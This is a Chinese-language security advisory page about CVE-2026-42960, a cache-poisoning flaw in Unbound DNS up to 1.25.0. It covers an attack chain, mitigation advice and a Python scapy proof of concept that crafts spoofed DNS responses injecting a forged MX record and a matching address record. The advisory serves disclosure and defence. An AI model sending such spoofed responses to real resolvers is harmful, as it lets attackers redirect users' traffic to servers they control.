IPBUF安全漏洞报告
English
CVE-2026-42960 CVSS 10.0 严重

CVE-2026-42960 Unbound DNS缓存投毒漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-42960
漏洞类型
DNS缓存投毒
CVSS评分
10.0 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NLnet Labs Unbound

相关标签

DNS缓存投毒Unbound远程代码执行网络安全高危漏洞

漏洞概述

NLnet Labs Unbound 1.25.0及以下版本存在DNS缓存投毒漏洞。攻击者可利用混杂记录欺骗Unbound缓存权威区记录,通过伪造数据包或碎片化攻击注入恶意RRSets(如MX记录),导致DNS缓存被污染,影响服务完整性及可用性。

技术细节

该漏洞的核心在于Unbound对DNS回复权威部分中混杂RRSets的处理逻辑存在缺陷。攻击者能够利用伪造的回复包或DNS碎片化攻击,向Unbound注入非NS类型的RRSets(例如MX记录)。当Unbound判定权威部分的授权记录具备足够的信任度时,会错误地接受并缓存附加部分中与这些记录关联的地址记录(如A/AAAA记录)。这种行为导致了严重的DNS缓存投毒风险,攻击者可借此将特定域名的流量重定向至恶意服务器,从而劫持用户流量或导致拒绝服务,严重破坏解析服务的完整性及可用性。此漏洞是对CVE-2025-11411修复的补充。

攻击链分析

STEP 1
1. 信息收集
攻击者确定目标网络中使用的Unbound解析器版本,确认其是否在1.25.0及以下。
STEP 2
2. 流量劫持与伪造
攻击者通过伪造DNS响应数据包或利用DNS碎片化攻击,向目标Unbound服务器发送特制的恶意响应。
STEP 3
3. 注入恶意记录
在伪造的响应中,攻击者在Authority部分插入非NS类型的RRSets(如MX),并在Additional部分附加指向恶意IP的地址记录。
STEP 4
4. 缓存污染
由于漏洞,Unbound错误地信任了这些记录并将其缓存。当用户查询相关域名时,将被重定向至攻击者控制的服务器。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # PoC for CVE-2026-42960: Unbound DNS Cache Poisoning # This script demonstrates crafting a malicious DNS response to poison the cache. # Usage: Requires scapy installed and root privileges. from scapy.all import * import random def build_spoofed_dns_response(src_ip, dst_ip, sport, dport, tx_id, qname): """ Constructs a malicious DNS response targeting the vulnerability. It injects a malicious MX record in the Authority section and a corresponding A record in the Additional section. """ # Define the malicious records malicious_mx_domain = "attacker-controlled.com" malicious_ip = "192.0.2.100" # Example malicious IP # Ethernet layer (optional, depending on network) # eth = Ether(dst="...") # IP layer ip = IP(src=src_ip, dst=dst_ip) # UDP layer udp = UDP(sport=53, dport=dport) # DNS layer # The vulnerability lies in accepting the A record for the MX domain # in the additional section based on trust in the authority section. dns = DNS( id=tx_id, qr=1, # Response aa=0, # Not Authoritative tc=0, # No truncation rd=1, # Recursion Desired ra=1, # Recursion Available z=0, rcode=0, # No Error qd=DNSQR(qname=qname, qtype='A'), # Leave Answer section empty or minimal an=None, # Authority Section: Inject non-NS record (MX) ns=[ DNSRR( rrname=qname, type='MX', ttl=3600, rdlen=None, rdata=f"10 {malicious_mx_domain}" ) ], # Additional Section: Inject address record for the MX domain ar=[ DNSRR( rrname=malicious_mx_domain, type='A', ttl=3600, rdata=malicious_ip ) ] ) return ip/udp/dns # Example of how to send (Simulation) # target_domain = "example.com" # victim_ip = "192.168.1.50" # spoofed_dns_ip = "192.168.1.1" # IP the victim trusts (e.g. upstream DNS) # packet = build_spoofed_dns_response(spoofed_dns_ip, victim_ip, 53, 54321, random.randint(1, 65535), target_domain) # send(packet)

影响范围

NLnet Labs Unbound <= 1.25.0

防御指南

临时缓解措施
建议立即升级Unbound至修复版本1.25.1。如果无法立即升级,应限制对DNS解析器的访问,仅允许可信客户端查询,并监控DNS流量中的异常模式。此外,启用DNSSEC也有助于缓解某些类型的DNS欺骗攻击,但打补丁是最根本的解决方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表